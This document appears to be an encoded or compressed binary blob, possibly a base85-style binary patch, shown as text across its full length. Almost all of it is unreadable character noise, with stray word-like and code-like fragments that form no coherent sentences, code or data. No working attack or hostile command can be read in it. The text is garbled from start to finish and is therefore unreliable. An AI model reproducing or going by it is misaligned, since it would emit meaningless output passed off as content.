zhNL0nD(4(VrIhL!hzYscIfL=8yDd68*E$s*_T(nSTfLcz3&1gH-F10#s#R3&APt?3B5SbXpbO+W=c*n$hJ^a? zppz-GvRw*G$m!3L;Q5w*NELQA`eZ01>ii(7+&d1(sq%=<*}cDrJIzHlG{tinq`J|0 zROAZ?U9E0%#)@ol($y5i-0W=8lDy-%#rcdSN3CtI@9b`IQXbXYnuk03e5AU?iTZ?A z$~AGivgD|2^mA16O`TponF+bg86!e8PpF>TIQ4q!n1z^=p)%j=%o90*9)PxfpHnV!-GvnO4WymZw-=>K zsH?83s18BeI}2HI)KTPf64KE*$5No)&%+xekO!Tuy(yKJl$n@0aXR$T^6x^WE`fA) z2C?KSIyy9~*424g#63FQoOvSdQGUn?^rd|CU1Sa9)59@DT4Uyx?kgX4idb?K9n+sO zl}ZDAm=BYIZx=?n21z&K?XTXS#nib z&vexWGT8Z7V&eCvsRtlWIr08F)rGUE>QP9R(~~7vb^j1Y5B2hlGlL~Z-8mvvWj7!> zD5*%EM5L+zRnV+YqA&_UChX#@)RNi;EenEyigG4$a=6T2nXXGG?(LF!ik&Sc~ zvv~I)qns5Y?mft8XB|svz#Y$zaW-g4-ZPGIwu-n{*fGv-mJ;QTTgEs?MBFj<7$k=>B;U_B7k+&*I%P<~Rv0$$Q2e zXO4(_SCZqr&Ej3Za-4NqRIP{f+OQnwG>hKWOW0P9<2>cnDjmV`PFt27^~rfWBf|MS z-YN6NkW6r#rz@%km?xn(GU#3=&uOMb)x&qy=snFmXOqYRyy-?cPjr3~p)q73wm#AM zlf_$WG|_30#W}0*XQ%Ub=O#MkB6%b9z13vrk|8>#XqcW6n(WjQDV?Q%qj|D(T4a{w zGsPJ;l=d_yu%&@6^HgVo7FGRe{e_UJ&N`7@3-rv=G-sCxeP5KWp3|IG&u~6!9#+@T zeoc3}ip)U?wG3lPCi0_C!TQ54A&AAdD+>Ia&T`f`4l)UalhohE*Cf* zSPGPd`At6~xjnl4XedBw@%7;k0BOs81qqvH7H4DIPm=ZuzQOPJ}DOU`tZ z-$u?eoxYg4qfrWd{ftu0at5*Fs+zdVq0#9qXC+IXdIk6II;Pv`|G&($oSrNNfu=WB zRPQ0@S}+Q#RIfLwsP-VH*x4g8203dv$Wp*D`#GlZ7}|?M6-O$XNq)^4A#x|i8}v-! zH78eObW&!p6ex;0ihN#kHbOAQ&TfA-zK95!gz)6f8sW#qm&PhI- zmMRrPKJPezY@IX7Es%Ge#v~~73P^Lvdrl7){OVILyyF9T-+7ZIS9QaFQ5#$Dd@lJk zhIB#9dT#RyPtC4blcFAhY)Hx|d}Ex-v%xu}b51@r+u;1eg6CHM>eV9~oEka0JgqTT z*$4S-bkumg@8$y))mdDrOPtms7x3m&rH+`XaE7sX_cEnU!YA1caM$N7^2zha`BP`R zPbNaPIe+X>Ic>ijEm2J#hRjyi!!9Mih{owy^z z=yJB~ zBqnW@{?*H$ogNZX3qtw)?DUhE?=UArv&|=*!4h)45zoKOU_=F}01Lr$_>tEF}IY5Gg)r=5_*Tn?c$GdX`b zsg%lla(&Jj$&#m<9ME%v=kz&<=lJg11m~QYIwm<1KIbg+36=SrQ{odk3(h$HD#x5-@%B9} z)?+$t%lp-*wAe>11%a#)X{shtRg7(gP%moWyTo-_YQIFO3f0hiu?iPbDRvw}F?6S3 zLIN?B&oPi zn6U#Q>ze5+Y$SF_qzpnak=PNI0<;^f)VlJJHd-K>4 zmI6gHz_c3So>-GvRGtF08&6&9Bc@F(TZHC>DdyhT5fPdbCTSb9XX{k-^p;ZHAL}7P z&uU59$EJ$Vvs#i4v5g}1td^u>>;#K<)q5aT=~c>E3!Tdk#IE)Uoy!l#;w;{|+&R{a zC0A8^EKP-xbJy5sTDYELkcVPNSn#`MH>9g3knS;~SntK(QOt`%dc=B&EJZ%;AdklO zvJ|Sm^HWtPNYB`OjPU4+R=)*S{6c!i-V~XLeEP7g5}5%Rz_MPXM`zu$^@(j2If|Gp z#Po@s5gCz@u7pPb|y8WPsd>VvvGPsR3#Tn(YSq^Dv(h)f@wrsg5l)3KjK7C{!Xq|N6&<>R#sk`>F)5?FSv&iR>G z3zpJ=yYJ7$+UXc|-~+r_hS~3DV%Bjf_;tJ^A)kJDY0`b`0ZD0{R&8atkWVYp{|XFke6eV7L#~; zIx9AZ1#1g&ydDhVjx6>z%a%*r63&jT)2WiRF+0}z4a!H?{4L12I5vUB+xnu|L6%%q zyLzhXh?qBG^_FmrsVX9G#=5cS5_U(-+p*W);+z93aeh4qc`vp|WD6vhWx2?39Krcd z;kjpQjmRX(6vV8FeIznlV%Ek!6?so$*2Z?Qc(t)ER{L$*x>pfVq$l+VoO=Pr}m%3R!Gk7Z+m?bTPr!!lgE|F z`IA@)i&v|k#P(}Z)X%Tsm>$ciHgb|zknOPsD@bzHr_!&M#m=zkwz>tWzKC7Al47(_ z-@7ALpQSY5*5S@rSj640ow3FuZmsT&Wob#agq^W6iE-Rc8bN@_itlO-lbFtH6LfeHtfZ>u`H2Z^OX7;vOl&&r16Aw^*!W3 zEN!(;)dq43@?-2NmK@b9ThCDa6w8;G%^3CkgP5OU>OGxmr^xYGf05;f(o|Y8o`lAZ zv*f6cs#jE(K~BZW)=;V(mB3!qh5QyfxK_&}C^M}h_&sK?)6!=j-jAPxXOXdkB0;>d z-4LnH#5%mMW2oO~0{J^uEJFPTNqOwJNay`2EEi)f*XvZ7A}V97$jq!%br(`q$T%*t z0@4vuF{9H4N|jJSp4CF&nH6yT5=e!X6J_u4hW9tW6-ffzyDs{z^zKr7^ zYU%N?o^`w|qryidx(676RF`GMeeyh{PR6fV0$Ycqswt4GGXBz{GP|MwW~sf2^Wi5E zGa*-J3=^q`dY%utCS$_KI>r_;GL~-EG8ScChZrlP+oxJKRMV+$%owwkWJ_xITl6ew z(~Rd>jwR26rWsR2+_Ru*#%m((SdkT+9?#wu-g|Cb| zuYeY_=o+;HM8T)Aj$wFNgHa7$ibDQ_P@@r9PpUr!vY#Xj^f} z@Qh|`+_KQ%?6tgy??w2|r5{g-$F-(NE^%`Vz#!8>O1^FZ+ZHKpY%IEWpOrKCbJ2Db1 zxq%f!b$i~MF-znt2=!xoGZwIHsoFXIOmuMht&;};fv-6=!N zcNr;Pc{RTeav7Ja8#))1>SGAtbv*p0j6BZ&DaqX|nwJqS6$GLxl1HO1)t4CLpG z**X;;nJU;%)0}#?Lwx zZ;Q^#a~Xg51LO$y06qNl|Se>G6=r z5|N7W43RY=mEuiAhCn(XRUqD6r1jWT&ZlzxUXiwFb(HfZ@drh!UrbS5Aywi%MEZ+V zjrS9240#kW)#6Wy^gzy(s(O5cNI&FEa%nu9r8F?EyPi9(5uYj&!7K#Lrq+lTi8M>f zLYCaXrJb;5`#QYn5I4T|+D1R*TqAyiPliHj#qVa(XC<|k%i~>iOrSE_#&d|N7k|{3 zDwk!DFBKj4`tj%flPVa0!Iz4TX)ykhFI7JB3C5TBqzDp@m$2Xs5&XXS0!SoYeHZOT zY4W%`@oPog<9=g2&XTLz;W3jE5;tlrc7DfG7E+i3;h)`Q4c{zTA2(?v`f_O6#YO7Nq zGva@XP+O&#SK?{k>YS;qk`%@_i%?rlKxW226QQNkqxEm?9| z=3-lO;(h;!y?qiNWP5s5urBr z9b`v*kO;Lgiuo%3tO&I+lAZB!BGkrygnS*JC_-(FWLG?2gxc88klpcFBGkqxW>0*9 z2(>YiZ{lyWcx`NNe65Jv#`eayh`4QRZ~RLZJqL0c`Rt8XIY70cREHdlXZuoJ4LKZN>=O&}b9|joZh`y~Kj4!#kU!$5SrTe6eoLz>ro<@pgU3TC>qyk^ANQEj1f075P3HvtHz( zWXz{p0xfRRGvqZJofqj0q5ipMqxwgATY(x9Q>#%&k?SO;R-+LjizTLZqc=r9keJ$y zz7!cQF?AZH9Md^ZmzX+@!Xoay=jDwWi@5immp5w8Qj$VPhmOVNjavI;KI*4#qfI`c zV{vt(tt@$}0-npf1-YhCgP&;Yd8!KJ-Tz0{od@Vty$=9CV-_#QE=vX@dxpI4z4u-2 zxi4eMI+jGpk|b2JL}jg+h9TLe(b%Ozwxm)?DvGhBvQjS3 zz+8thrhg2}T$rOUCZx+s)K?{TO!RD=?mtJV-0Qg3{@Wz#7hDvZ8 zzUCi80>2{z~Gg$3c{N{yY{u4t52Z?_b1%$3cu);9t&y$3c{Z z{&g&P9PA6S$p0}59tTkt`?s**ac~I868|n1JPu;a>;C;LcpOAo>OZ0+cFp*P{}&d$ z7rf!W%A)szH~e=R6>J~X%Q*AD>90VNB^txrG78Fi%b)NE#$<_pN8`nd zAaDEolWY@uZ(8F&@h8S?6MAo2=Rflo$|Slre;HD}=TEz#1lt+qeg9|{Y-f}Y{F_;@ zoo9n=@Rzx%Qeit|%!mH|EZEK{ANkj_U^~wR`PhGh1=|^Aqd)y`l@GS_5|B^)Q(3T` zF=ms0FAKIa%BTLy|6r;dQ3G0IIml*zZI(7HU-+Als8+=z?3aGqBiO26`dg8>t@@RJ z&TY&&i`sBK%ZFYiub>2UO1^WW!f`2^=_C;BcU;Q^&urDy?qCdTu$_M)b<&u9YiQ5;K z{c~7!U;OT0N|Gy*cfvgdNOjG>r#R-L=3blu{`B7>aldVN-QT1H#fYNE)ynpDe?*Dz zr;_SP!t4H4Bw3=|6nNtR_8mx7QlkP0#Cy8_u2mPZy<4x1%LUEk+|18 zfBCO?1Z()0zd~uZ&iE|E4S$40?Wg!u)!+VZD#mwTQT3$UEq@;p_vxcs{#l-UYCvn; z_AmBG8c1AVy+=YI34tvhX%A8?@I8rp+$j|(R58AraFx^>Vk!hKds010a@!-LL8=7G zm%;6Fk15pywMlYf`P2@iDWM}HwrcG_P^F@)zsZnK?LZ$A_bRDgU=N9Vyl5CW%A$`K z{=h|*PwaRR3Z#{#`q1%W7UUcXEFw{>M)@F-z;YJcQ&8-{Iu_hhP-Ng^7Ti-7gE)aL zEV!p&Of;~I1@{z`rh)w|xTh=wX%;xbf_n-|df*HT?kQ_Png=ei;GTjpEdtkBa8E&L z8Ms5@UL~~(lqiQ=THw=1hgN|~Ec)osDo~qbGPV5skWZ^XgYq;EeS4P2iLD^*0)CRo zvFAYA1tJ`ypLl5(XwIUacxe}C$D*HjX&2~5qUOv!aCXryP^5w?Yh-7b3!$vefn*XD z^9{*7j+qE|yYN1KkHAuv=`mT!(hQ!Z!RG;b1lD`EC2!U_f_czqvAyh zq;h2n+=))qqYr=Vo}#)+ctf8^b1>S-TcRzb;6 zK=5fFS6*nxPXuud3rbD}p(la@eWaWO3ltNuuUnlre$VJc4uY#K1C-;JyAA0@v=wvU0^T zsLywBRgxLlQx&Dar&}W{aF9i}Mpob`i*Ajqz*!dE8ZQMdvFO%#DR7-6$Jc}J@MZ^Y zvpf#c4CTOs%cLpl8IQ?C4+QHMjlLHNuz=%u~ ztszxTAWWiKtRu*jz~E|B7L8|=nSo3abq{C&$ZLU3o|xxB76o>asChmUcC?xx=&XJo>HlN`f7c3U=)kKT3;O)PvZ8@>cCVM-8-uT zud(RfSsi$bMfc8{z|FFoZ@w7L+AE;B4au!wL91{1h4+5Q8 zDnjY_G|Ps-NS0AhXOxcub4aqqQ?Pe$fEsQLe9qDv1jojvz#*0wSUwG0RpKkWpx!s% z97wtcOV9TG8_<%z~1M?tm+mex@+5`Jgo zI>8GY*?NoT7n!8bf~AwY6+=2ft(BsWT^{Z8F?7wOyCxY+Ar|D} zu~eG}CsC^30)hWY^?RThNse#bet7>9-bedA(1xYfk6JpjlsKTJhZ33r(kjJ4s?i?7 z(ys+_J%Y37wZL+Z;5TFc3~ciVp40vnIP4L8is@#cR0C`ubws1H+(2cLT+#hbyciEp z8{P_}lDOy3{{{??VCnw`+IR#@za1Fl5iDI8<4N4IiojQ+@UNicz5CR*C&Z-F|C79Q zHRj!ziSYhlb4VYP#P;{Ym&svlxDo^z3sTIO>?s}FFxi+vk}sk!!ukiqBpdTRGL>Wn ziTj3HN#jEj_g4!`>N+RBcuyj&p_MW=QcOV{3jS(XX(MtkwsS$;W!QIcovoaaPU5y| zd83_2uvN<&T|I)SDj2;zG7D;Wmoc5h{l$=q#u}0Wq3cu0*v+C#uS|7@J*7X!AH zVuCR!DaJ)g<(}=-Fd_|cD^!aug_s(~{T^9C(x1e={z^4oCvo#hHQpw1TQ${qmn28% z_gGVn&q>^NPBpfW6coF``%X<`CriR1^$pva#=~jU&c%+^PZaM!eeN-avNTzs-o&}b z7{yX4CgVudc5R?kIUdm6v{;O;k1H$TSb%kIWPHNgj5j3ij6cp3*M$kxAF>!j{2pW4> z^t>UBhZ|E_vG;158Usk&vD(xaN#c&xrp9O`V!==9ZQN$YGLa1I}ukmu2>f^)j7M5KO@3|OrSdN2K zBKe8s_xVYpI>@8ODVCxOl03D$6Vo{La7tqi95xC4N`i{+Lmk zr4mR%9e9VusG%g*@&k>A9>KGMfkx0H_+9JAjpiPi3|IbxjgB5^2sM1t7~+vI$Z#W@ zMD=M)kkQ6^kKplZj8WUhI_LZ5v{UbzjWyPh*B@o%hAL1L<0 z-_YYibcCG88e^hL-UR7E(ycX#_!r)t#CPAu8k5>kS)w@1{Et%1(6&lCR)#GA8E=ek z@5**4eWH=c(t4Z_EvLfusnNEBis=D@U$)OQx{<&;*B~PypDg1j$8-e2YuIe#RtBcZ z6)WC?6{?5en$bw;q~xHPD8@pn$;OS&NF5UpkvxJU_jSiq z1@KFQ@uK4-cmmr0^D(7*5mE~MIOq%MN$xlf~j^H8$5!kzA>(Hs+OFlgX}kEd&Cd&qj5rs(C4&2 z8EHdQf9Z4DBeAW>9+4=bkm_hmo&jkE^0P7d2}}iRr)%ME4#+VhpCnJrTMGS7vX;ah zKgWy>|4+X02p)-!8HFCfGvX{&mW@NaF5;r;PNcFeb-0 zdbGN`blMn1Qdn%dl^}XSKBtXLk^-N;zBp}s#iFkiP8$U*`fB2|@eN77uV9dRQ~R`W znB`{>d=L7xagij)H-Ue}^^DPNsH)Fw5Ik==V{9QQ5W1bu8a1BAn8LW8#pA>yP{TsQ zAt?~L<$o~}hN+nL5QDSCIU|ikji1LM)p?_fNAUdlf-%}7cy;`%F^>gD3!c4SHa;aO z5PCdcF}Abl@%+27mt>pJHo_w@CRcm_-|?6Na>rQ9GN3fvrv?$`Mvve;7H1|tLpjIJZHk!H zJ%ZO(Ma*=P0->)#;>|uR`Whs`oW!EHG|}Ae$p?>CMa^G5f;ks8OOC?Q-JE@90~Vcg zF|!McZq?%E+a!~Gqdrh;ASKLqS#m&dFDPMdB*_xd!RkAl$>zY(SQh*~8qBNM@5$ze zB<>NUq`8AdA3;i*=SXsVQ_HD4n5E1sEU$s!m0c;b>9d%#nh)nfJC`=wdt@<550V1< zt$A#XGUgbPZQ}F*^*iZh%$+R9`l)A)%A1+bVb1PeS>C)sk|!>kaAys2u3$RPV~jgv zS2Qz7+@k6?W&nae$bF_p{{9>JK(=5HRsn9AlYk7T|At0HFKF<2kB z^s44ik6@~*X5+E{jY%=nJ%TYQW|eUmljZw&uj=J$W0+!{TIW#suByrE; z8k?VyxaSg$;k%6ZSCH6*ujub%*_NosyeoRl2h59vz9U}V_IlQVR@#umii=WWa6G1F#SqmUw}8v2#Nc>6vJ%KqQ6&Qm;*@EcU-@L z8k**_9HYO1Y?;$Z)E5j6LX2hRv)~sDP(tRLB<{L;#9T|FuKtceOvLP*Nh5*AGak*Q z*-MFU@gTU<4z1vr!&n}ws^%!i9M9r(S0mFgr?Om(#mr-=2-kV|Wg*AB#L~TAf+&R2 z9rG4TsZ;8SO~>q?MfLId=W98^(%Fr9NyR+Rzwh9fYgzt!K&L8`tzz``yJIe8Y2QW1 zz{bH}K}mhS;lxIiKEAu6kLFQxCFSGpr%lcEBLkBxw+RPHz8FE^Qp<0vwJLPWsWAv@qK*LK>P@l&XsY5d@kv7K36No?J?y;+~c zZJ+k$7!~7-AC^GZRvpY~B<_`O2Xh9CzVhv0&Sue9z8%bkEc(i~gSnPPU-@=0KV#8X zz8%bOm57%rsO#Jeb1#d&hRrZfvgm8rPUash`Wm*gnJ`tgv%WsvW%ta(_i#=p+Cvp3@rj;vR_UV@@Se^}!L<$DHet`ViC4T;Y)>ApOma9*KYqG6_kf=3~H(@L0nJZqy7{90$FcX_Q*+)56s<4e0neV*xb*e_kxej zzghHNu+dDOM>)s#f{kVdiMtnkVm>w>W8A%9lR1>c-3vCEdr7il*C3yowHIKjEMb&` zF9*Vy|I|!fNM*(LluymgB<}q4#sAxPzA#f4VJdg@?lcV&HR>+Gw(m5XdE_cd28p}x z>@ru8xU=Xk^Dv2f)Z1mAVbMpuJ?2G{EYWp}x^uM0Y_(WzS9e%7!n?_P%x+7ROy@K6 z@67bqQQ&t};hy;4P@nJ2_qHgh^(NdQUkU3!=0=u}-&XRy`6WxI)k+STyIC5%qvVKr zkflA#G4m*i+de1FGbE~gNFD7vJ{$wS#Uie05RvxVJx_w&+`MDq!tji?%zGAh6SORjF^(RZIXA@a&k>vQU z!nbgjQB1-PRl2^KxXY@;qOU>jvJ4V+4YC?iRkS*hs4I^5Kq^^}u;3L3N)>A;=YwC% z#B=_t)(jGN&a7%JCvo@6sYQ6J6sp?oeJc387I@U>#;I&L$ z>!L?+WwM@igG9CAE-0&kHEAccYHY1C&ALM3&TMH`t6do5u2nX&o+NSCDjQjoNZhr` zM%E4%JvJIy$5`~(Xk?uwan~vvS--RBwaP|T!fsW%UaM?u4Q0`5m5r?vBx#s4DyH?r6>QAE9Dse>lt>7LNqpxlPR(}$;5AKH;!6z9I7Y8Jwy=`E#Z=j}4tX8&x!d%7n z4@!HhZ1r_tTD66OvqU71lG0u7dBDl6(f(Gq11jgyz0|7yK3zgC6lj@UUj{S@^ zha}7Ahp~$1tD~%IByQ=WtXm$z(nnd0U)4Hxw#o92- zN#9ev4YRFVByJl{w)*^psoWY)wg!3xYdG1;A#t}f$6Cjt?_W%@wy@|s zBU7zKM=<9sUkaRk;i#KtRXqCNvZh(pJ%VLTv(ic2vR<)1thcD#$!*{3#T7Mf!DX5{bJa z{kk=q#C_7~b?e#Fm?|fB=V+-lk;Hw{X{j}tMX#bSwPvvBRrICSY!k-U(xAnFs=dFPtJR+ z&7OQP=RMY5k6_MwtP`G`cRe|-b_ zd}~$k$N`d?B<|kyoz;}YJv zla+|C62&E`^LZ=2q>@`D;GGdT^ZeB+#d5uYlFL?AmOjZseBTFt^}zD8WZb3X533zZ zH;%b#4PG1sh2mSx<|e_G!wiS5hRt;-~C%U`$RN?{FE%U^{$U$;tn~>4Npf{jqXx{EngfYF4&9(TfPiPe6RxxwmeEwuqO+)>f*lePDF4t3$`js@!)J0 z>>ZR6!R0L2J1EJ)%`9`F9FH^3@HE}mMrJ*z0u zdw0cP#@)1Cw0C36R}4N;O^I&#D#7tAy5*||r?BXjuO6JkqFcUZa6OA|`FnzUSai$R z3Z7)qEnho$gJl}Ge4Sv&>QtXt%hwGKB5~WWZg7N0@HgG+2ESM0+rCJ>6HzbtGs_Pk znW=D97A$0$!7=rNms#H6nEJuLSW0qCgWw&O+8om$=&OM>%<)N%xi?sbr5nfG8%!Z7 zh#S8qLEH=N+%VXRIcgN#KvF1lKKBI=vFLo7 z1pg*++s7YFPNf>gj`;py_5UYL{-3n?fASoOJLdht=_KxXoj{5**f+{p462*wz}(=6rB30e;~gYoyM zeC`IpD?2mToJHR|wt@p$^u1#%xKT?z^-fJNxSK`4WfKe@Wzo;h1%qc;^u3#4uw*S& zI<5`2fF2A5?_#+H(v~F1qVFAtgH2iVz2k7OKS_=#19y(_mmed+0unX1bcTHF;C_#E zCpoV2iNmK=`+!I|Ys9~TME(4#3|{3JJj2JBXe>sb^Sh$Y`J2UJ^f`aCVA0yRrS3>* z7Hmc0KAqJpIGRPbbF<)C615crp!D?M?;aUKBI;ny`9eS6+dSBXBv*V4_w|NDOpD-8 zEc*H0*1;=EVzWe>V1v4tkGmJN33exOuXox6UuMzU-Y&R>MQ?kDVCj0)r?ER(9fD0r z+^2av1daL_<6dob2{u#W)6esF3AQE4^G$^N!gxmACAgmD`5|gTXELs#Nts=7Mw&?rf;!W%wr8GLW9Zlr$wW7rtx{(mS}Z zk&D{f5@ z@l5ay7JOR=-$57^T<;Md#EcH61XQY|{qSxD$n(LrEOyrTr{zH=1edYA2hs@S#h}krF=gNxa*TN?*o7qmf-#eW8(8o;^B~C7 zV49^;wFhYi@=EYD%Og-{d`n_x&=*uOyOkfN z4@HzL&rcMCV6IyjOt+Q%RS8-GVipINvYdhEmR|r_5KIWJR!oR5_!p23Z-4!DoBk2U!)%=R>$c{0wAmEC!#R-3Ibb(9ijx z>;-v07V|WWjUyl*#qwEVCW$j3pTuOX57xs$Hpf!on7;wCB^I+2N>5k|zX}nP_ZBCJ zWRUH#R7*aBGaZm!!E~+v6yzB!f(Wbd>b5yI+3d0RZRWZfWQH;ChkP<2+amz{x{igDvvmGoeB_tdgy;Rn1D63j5=PPwo z&ecLSD8|jXdZ-aet~fd+NhG`jPojppuq4z>5G6orgnCBResTRV_%;;CJ)!k1Ndw_m ziI>AWv!OjK-_4MQo-RLq@0 z@HQ$)S}21hqaOVFGiW2)u1vW1_bq$}CIm5!WBnC^e{TWek8S(?(5e|AMl7a2jD+qW zR!ll2#EC~i!ZCRm#^Dnnk(ksN2;Y(ckuli{_bNw&L}OA7T4Mr8vzQ!)`>>dEdQ8r5 zhNBQj^O%_71d$EWA|~JVNuZefV{-dbxA} zfmlAdP2m|3knS-#-x}_j!}a?^p=@sF*3e=fK}?U(LY7KU*5@F-LK|70fwFdk^b37Y zk}GyWS>J;^7W$1OOPt%Ko^l@?x<%rir3?-gPsd(Xf@iRUL$y3|9P$|wvOH1<@?@xu zM}7kt8tUbdn;^qOPk98dfSw6W@CaUCj0(;0Na8xU>k(Swk&+mkT{LNQ(*`dBHTl%ZF*s?=2S$-^{Q!Qjkg_&RF{1(fsKXnb)vwR2Z{3>Rr zNA82x$PV>ssp@n1AC+oSXoN>X5Hl$>ou%^MDrRzMB};ltwke7Ig4^WKMUKJe6PiLk zIiXgqsI1s;x=jhqVA1#friA7xi9^A!0Za*vXpO1nh({*CQ}F%aY$tS{q#$nSV)ZqE zmqS-ba(w&NCQ$FZ9ID&~Q|0)ouhTKjNeY@5lveM0yc~MaBRHO?g&y|^j^`Pn=RJbs zd3I>3M{um>hUR+&$LgHWY9(PO;U=Pn98L2@##dJ*-zrHe!PEZr`|)33O`9-2pz?W+ZI%cD@%($G>RBK0cF zha~TkWQjFH)wcwfh7Kz6b%fd2Y=f!lx5N5m`O3mU?I~w*xmcVS0rF<3PX{HXVXhkwvLfWm@Co=mXmNFC zqL>7-DpU>xdwDxNIWrw(Z77xH;Rn?d<7-2WSqeW;&rGfj1xeJ=9KR#9Hq=qY(9!%= z$Y)(>j7JuLtPkz;$Xg&EgpMi^8Bo?5kPk!GNb*ICPvXRTBr7{&4fDnQAX`B;hW3!C zyX4=2Yzkc>aqpym8cOVhsoeYTn?sdI)SdJnAl2qjO%}Y9j`De^F-eZNvmTyY1KASl zLgHRCZVeq(sYGsEyf^_dTSGlNs~Y-2#JljOWGLK4i3w5@o&h-)>ci3kWID*%(8g{mRVT>jZIFwhGToJI z9{{xjxf+^Ik}q1pcKrf!D^&R*jL8>mKyHH+31^bzidAdlMS0Mo;gUU6J}D`1-2{>x zPGPA5(h{Uhcr?p7kRBlA!&7^zR7*gHgH#G%VTprnp8`@fT)&r!`K?;Kcnzd__ZICA6l6_P@Z^3uA%fAP2$An9hMWaiy_7gA0^2b z4eo(+Kafy3xi99EFTSb=Z|H-_a0W{%NFR{&@N||D&EfYbK<*E3VY!wLcalNchp&<3 zihS5o?2FFfw*6EMx52LozYQ_n!rNF5gM0zfJ3R0aReHOuc=031fbdF|HE^uF3^FJ@ zu)m5~2T~HA$sQWsLXs<%!)U1kG9sMusEYBy7;6tQCOnBGSL}mSI5H=OH?dp-83Hkx z;XNM71jz}f3{-V)09!E^WO}$8OJ|UGL0%1~KCa5@KOuqYGe6virQV7-u^(aJoCKkwB;UfW5F>t739Q# zQ=U{g;}}~8@M+f|1P|WWhV%( zB!3s)%@X)tJ$JD;yr1Pk5PTATZ}G*z`9Sy|C9xhn5U%|+)-YS> z9y}0EXTkou7xFm}9?gP%s$?Y#_MnnOEZ95K@-fv7k6?ct3^y63%ECUyR6m3>JYtYc zV!@+KE07<<%RKS`$l>r&798P&K#qoQc?8G&&tY@8DhvDTX^1%F_O&V9e>TIYO0%{r(E%d?wt*Be^8YSa2j@%-Qf(k6_H% z@E(u64pJDdJ`!_wkHY7|4MFgC(r0GFuRcM{xv)twdE(|UXbq_0`S3uN`4F=aVtx(R ze+KhW=Pf%xE{4M-`2ttfz6H4y-bRumUie#xA3-jMZ?T;HG*O%c`7Qj|D9pz_tNcAY zg2b)i@8L|6Jh1}KwWjrg`^({_EaRJ~Ur+cWyq0An#Nd}<{s?bixzaU}zIyjZc#B6S zLq1o-DWm_}8rQ% zT1x5%kHH-}NL4#hW-_MA6Zd=p$6Jv45fzh{x(23^43I`FxvBY(svk%&G9U+2x!3sN z$Ow`GUlll?hlx~#Ba=wZh^iN~yh)NrXQu-ppKxToM@E6z5iv#82hU(9gG3``JTey~ zJ<^sWSM-OYFiNY)Zjx-#8dhMi^tO>hoT}za@nS8+w2joB`rr0x7qLlHeLjVlc9FIo z*$vVmGS4GNK{`cNdgL<51CbLXsy-;)BQL$|ZbkgZu$B^;?U8aIy(1?)QX8aSxdX@(kv$%H804u)$}4W^LqUc`(me74$jHb*5>;oEXCqfU zF?k?kBVxLn&zm6QBV9bQ0px{9e~%P^WJTtYsGLzIM<&g1^Em?Ya%7H2E`YoeIpdLA zATuM^JW^^ST=_=QX1c9`@>=8!iE52nAoC;FJQ4s|7-==jExi@Ul1Mj?JOuJaWIBne zGs^Nv<=Jkkr$AOk>U(4y$ePF)k4y(y7n$mjB_QubwvectQ9g{klS^9>+fP4#DgFtZZ$$cg zBn9N#$Ow-#2H6)`NuqK_`95;d6VnppaO9Rpx`G^uWXy3(9|&?R(#Ipuft-xYAyGM_ zoQ({7?Z54FJ~EX=wa+UMb3Ss&BMU%&jU?w&D%w*}E=N8iQK{B~{2tlkkuZ5hSH z_Q7WM*Cctq1`FVK)*z;ty`Q8o?zuP`fyC{LmUa(M zOfP7$mUe%Sq*W23l|9=dz7!$a*dHsQUu}jE(bm4o(g?1k@EF(5j$c8g`~JyNXZY>x z@+|naJC2QZcB&G(et+j4l!rWW2Bf_`kEKy}xQkaDj{5dF7X0@9w-A$IcYB-45_2C( z6bnH*+Cx2Z1*DUGf#u?nL=l3ge!JLzkmUQG-kvC)hL|q)-z0APJYe5aspu*a+vfq> zx6*A@Y@e=n*dy3J-R(z|#M~k!-eR|n{Dxvl{3^nX! zH(aH*6jwaT!&W?O4`G>`887aKocq`tSoD`~``W(MDwS@-zIIO*-G+VbZ7kS^*kb+c zLKfX({q4&ns>L=!On>{jN2Y;1YR9ipW%c|6j_uH21MD&+ZmSNk%c+=Hs}8VJJc6zI zn4RGfY}G;bXeB<~VuS5DEV{)8+wZb$gS-F#LVX6?o0U)-)_@ipZ2Q)_ZCDg!h~0-p zx5kt9UJ|vX_d?85_92gy{uI_*>=PcD0x?h9=adNFLrEePVusn*J#rt&2wS{^rRR&G z*AqoEkWqG9mO*e8nE~>wJ;o!wLB`mhvmAt{BZh&Dw+mT*1sMl2(Z0p<@%OMM{1BY~ z*a_=YS)J}q5FHo5Js`WhM55>c;Wl0cbhC%mhAxd_W_dnij)kPQ&?s(p|oOYA!fXE7jo_CGB0jFLHa zz4e$+mdN}Fj=2!?ntdNjl;^s+_Twalaiw^reXc!%q(HPf0#DYw3RePl%6phkfjAC# zVY-9Nv#+pxy)B+(zP;yt6_X1`hp`Z|z)t%>$<}OGmCZ%j!qOcCpS@gQ-?sr{PR5OF zq1Ia#+Ch>$u@s~>wDUqcLgKdJLi=ft?1AlCWWS`uclr55aR6koJ&oli2*xb7=aUo& zUBe~zN)}z8CHB80Zhc<26F$Tmy7hV8_K~=)@wz>PMYq^eyTV79%5Bv*>>4EQw}RiW z>$5b1md912H*AxnK zc#oU|dE1`jk>5d9+1osF3uLXmk3^j#`8LCsFzsJGQXb?3+qaQQr_qaLZL}?qU|E~& zbdqd}sR^kz+Zi5d2=ax!nN#7I$9%rBfAt9Fv)#VIsW2uCsdm`DPq6fCfzk?OkKJ>V zst@id4}$EsuPE^y{tMO!3nzoiMtn^u+vD~yIm*jr8`wV`rY=E_DYgGF=c$5$b>CDY47#OG?24) z$z7OA#k>Y`-mdA9MIaaK43De=`OTir@^sTgF%X_2xMm+Bap(Cz?NYljXC=6Q{b{%I z2+sW1?M`32F&E+K*}v>b9{Cu``rF=2qSouSg50)C?4eX*ZRbR>6XcFvQ;84951vED z$p$Pqez5d78DPP2h%rT^&4S|)V~WU@EFH6wNaAINlGxZtkk7JUpYDay6J#a}_WKVc zS6FbyMoE+-zEyR`IqEn_l1%sxC08_q6*GKhvZzcWagSdT;xr7|R^3Sj8%sg2RXDNMAt-UA987%X2)K}C>$^|T|K(L)l%8e{3@M~7s z7p3HO783+xO3BkKr}nCt((($+9T1EuElcgAR`vCUCoM6bGBSl_BnZZok&>kj$CQ=r zSkgJBtQ^8JaHz_soP3VuMG(xVoP3RCZ?NbdtSr}( zxU*JeS^0n}UC&WfWG0I~ySQ8a!lGxbs`46(p0%pVZU5d9+^~ykLp4g{2EfQINWFCyCptb>)vFdBXS-o}PUIV@|L%ZI(n* zU!Es%&lB#Iw@9+-%;7yav$|KF`Qg9q(@+*agyQycnk-M^ZfPT#N>U(n?=+F(u*yfD z+xX=n7TsR~dFCe-qx;K{(IY5sUl_6#iQ5;3Y(wI1g(16$$BFguyl7DFAaP3%$-OEc 